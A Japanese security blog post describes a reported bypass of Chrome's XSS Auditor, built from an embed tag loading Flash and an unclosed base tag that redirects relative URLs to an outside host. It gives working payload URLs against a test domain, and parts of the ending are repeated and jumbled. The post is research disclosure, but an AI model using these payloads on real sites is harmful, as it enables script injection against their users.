-------------------------------------
このブログではおなじみ、ブラウザのXSS保護機能をバイパスするコーナーです。
今回はIEではなく、ChromeのXSS Auditorをバイパスします。
数日前、Marioさんが自身の発見したAuditorのバイパスが修正されたことに気付いて、新たなバイパスを探していたので、一緒になって探していたらみつけました。
Marioさんが新たにみつけたのはこちらです。
XSS Auditor Bypasses 05.2016https://t.co/c9UcjpDZZM— .mario (@0x6D6172696F) 2016年5月17日
(someone asked for PoC and test-case, here you are)
僕がみつけたのは、Flashと
base
タグを用いる方法です。このバグは既に以下で報告済みです。(現時点では閲覧制限がありますが、ChromeはAuditorのバイパスをただのバグと扱うので、そのうちオープンになるはずです。)
https://bugs.chromium.org/p/chromium/issues/detail?id=612672
早速、方法から紹介しましょう。
<div>
タグに囲まれた箇所にReflected XSSがあるとします。このとき、以下のような文字列でバイパスできます。https://vulnerabledoma.in/xss_auditortest?test=1&q=<embed+allowscriptaccess=always+src=/xss.swf><base+href=//l0.cm/
<div><embed allowscriptaccess=always src=/xss.swf><base href=//l0.cm/</div>いやあ、シンプルで美しいですね…!
なぜこのような形でバイパスするに至ったか、簡単にみていきましょう。
以下のような、外部のリソースを取りに行く文字列はブロックされます。
https://vulnerabledoma.in/xss_auditortest?test=1&q=<embed+src=https://evil/>
<embed src=https://evil/>しかし、以下のような相対パスはブロックされません。
https://vulnerabledoma.in/xss_auditortest?test=1&q=<embed+src=/aaa>
<embed src=/aaa>ということは、ベースのURLさえ変更することができれば、XSSができそうです。
base
タグももちろんブロックされますが、>
でタグを閉じなければ、ブロックを回避できる場合があるようです。以下はブロックされます。
https://vulnerabledoma.in/xss_auditortest?test=3&q=<base+href=//evil/
<div><base href=//evil/ </div>しかし、以下はブロックされません。
https://vulnerabledoma.in/xss_auditortest?test=1&q=<base+href=//evil/
<div><base href=//evil/</div>どこが違うかわかるでしょうか?前者は、注入ポイントの後ろにスペースが入っています。どうやら、スペースや改行などの空白文字が注入ポイントの直後に入っている場合にはAuditorは閉じタグがなくても反応するようです。言い換えれば、直後に空白がなければbaseタグは設定できます。
これらから導かれたのが、最初に紹介した以下の形です。これで、外部のFlashファイル(https://l0.cm/xss.swf)がロードされ、
allowscriptaccess=always
の指定により、 vulnerabledoma.in のコンテキストでスクリプトが実行されます。https://vulnerabledoma.in/xss_auditortest?test=1&q=<embed+allowscriptaccess=always+src=/xss.swf><base+href=//l0.cm/
<div><embed allowscriptaccess=always src=/xss.swf><base href=//l0.cm/</div>注入ポイントの直後に空白がある場合だと無理かというと、そうでもありません。その後ろのどこかに
"'
などの引用符があれば<base href="//evil/
のように閉じない引用符をつけることで、反応を回避できます。以下の状況ではAuditorは反応しません。
https://vulnerabledoma.in/xss_auditortest?test=4&q=<embed+allowscriptaccess=always+src=/xss.swf><base+href="//l0.cm/
<div>
<embed allowscriptaccess=always src=/xss.swf><base href="//l0.cm/
</div><div id="x">AAA</div>
大抵、
ちなみになぜ、
以下でこの動作を確認できます。
https://vulnerabledoma.in/xss_auditortest?test=1&q=%3Cscript%20src=/xss.js%3E%3C/script%3E%3Cbase%20href=//evil/
Flashの場合は、
以上です。普段のXSSにお使いください!
"'
はあるはずなので、一般的なReflected XSSの状況でかなり便利に使えるバイパス方法ではないかと思います。ちなみになぜ、
script
タグではなくFlashを使っているかというと、script
タグもembed
タグと同じように、<script src=/xss.js></script><base href=//evil/
などがブロックされずに通るのですが、script
タグの場合はベースのURLを変更するよりも先にscript
タグのロードが始まってしまうんですよね。以下でこの動作を確認できます。
https://vulnerabledoma.in/xss_auditortest?test=1&q=%3Cscript%20src=/xss.js%3E%3C/script%3E%3Cbase%20href=//evil/
Flashの場合は、
base
タグがあとからでてきても、それを基準にロードを開始してくれます。したがって、Flashを使ったというわけです。以上です。普段のXSSにお使いください!